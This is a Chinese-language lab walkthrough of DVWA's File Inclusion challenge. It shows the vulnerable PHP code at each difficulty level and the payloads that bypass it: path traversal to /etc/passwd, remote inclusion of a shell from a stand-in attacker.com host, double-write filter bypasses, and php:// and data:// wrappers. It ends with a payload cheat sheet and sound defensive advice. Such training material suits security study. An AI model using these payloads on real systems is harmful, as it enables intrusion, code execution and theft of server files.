DVWA File Inclusion 文件包含通关教程

漏洞简介

文件包含漏洞,顾名思义就是用户输入被拿去包含了不该包含的文件。分两种:

  • LFI(本地文件包含):只能读服务器本地的文件
  • RFI(远程文件包含):能包含远程服务器上的文件,危害更大

这关主要学怎么利用这个漏洞读敏感文件和执行恶意代码。

Low 级别

看代码:

1
2
$file = $_GET[ 'page' ];
include( $file );

用户输入直接丢给 include(),一点过滤都没有,想包含啥都行。

本地文件包含(LFI)

读一下 /etc/passwd

1
?page=/etc/passwd

或者用相对路径跳目录:

1
?page=../../../../../etc/passwd

还能读 Apache 配置:

1
?page=/etc/apache2/apache2.conf

PHP 配置文件:

1
?page=/etc/php/7.4/apache2/php.ini

远程文件包含(RFI)

如果 PHP 配置了 allow_url_include = On,那就能包含远程文件:

1
?page=http://attacker.com/shell.txt

直接把远程的恶意代码包含进来执行,想想就刺激。

配合文件上传

如果还有文件上传漏洞,可以上传一个含恶意代码的图片,然后用文件包含去执行:

1
?page=../../hackable/uploads/malicious.jpg

Medium 级别

Medium 开始过滤了:

1
$file = str_replace( array( "http://", "https://", "../", "..\\" ), "", $file );

过滤了 http://https://../..\,但是用 str_replace 这种方式很容易绕。

绕过方法

双写绕过目录遍历:

1
?page=....//....//....//....//etc/passwd

过滤完 ../ 之后,剩下的 ../ 就拼出来了。

双写绕过远程包含:

1
?page=hthttp://tp://attacker.com/shell.txt

过滤完 http:// 就变成了 http://attacker.com/shell.txt

用其他协议:

1
?page=ftp://attacker.com/shell.txt

PHP 伪协议:

1
?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

这个还能把文件内容 base64 编码输出,读源码很好用。

High 级别

High 级别限制了文件名必须以 file 开头:

1
2
3
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// 拒绝访问
}

但是 file:// 协议也符合这个条件啊。

绕过方法

file:// 协议:

1
?page=file:///etc/passwd

虽然限制了文件名格式,但 file:// 协议能读任意本地文件,过滤了个寂寞。

Impossible 级别

Impossible 级别用了白名单:

1
2
3
4
5
6
$file = $_GET[ 'page' ];
$allowed_files = array( 'file1.php', 'file2.php', 'file3.php' );
if( !in_array( $file, $allowed_files ) ) {
$file = 'include.php';
}
include( $file );

只有在白名单里的文件才能包含,这才是正确的做法。

常用 Payload 速查

Payload 用途
?page=/etc/passwd 读 Linux 用户文件
?page=../../../../../etc/passwd 目录遍历
?page=php://filter/read=convert.base64-encode/resource=config.php 读 PHP 源码
?page=php://input 执行 POST 数据中的代码
?page=file:///etc/passwd file 协议读本地文件
?page=http://attacker.com/shell.txt 远程文件包含
?page=data://text/plain,<?php phpinfo();?> data 协议执行代码

小结

文件包含漏洞危害很大,防护要点:

  1. 用白名单限制可包含的文件
  2. 禁用远程文件包含 allow_url_include = Off
  3. open_basedir 限制 PHP 能访问的目录
  4. 过滤特殊字符虽然有用,但不如白名单靠谱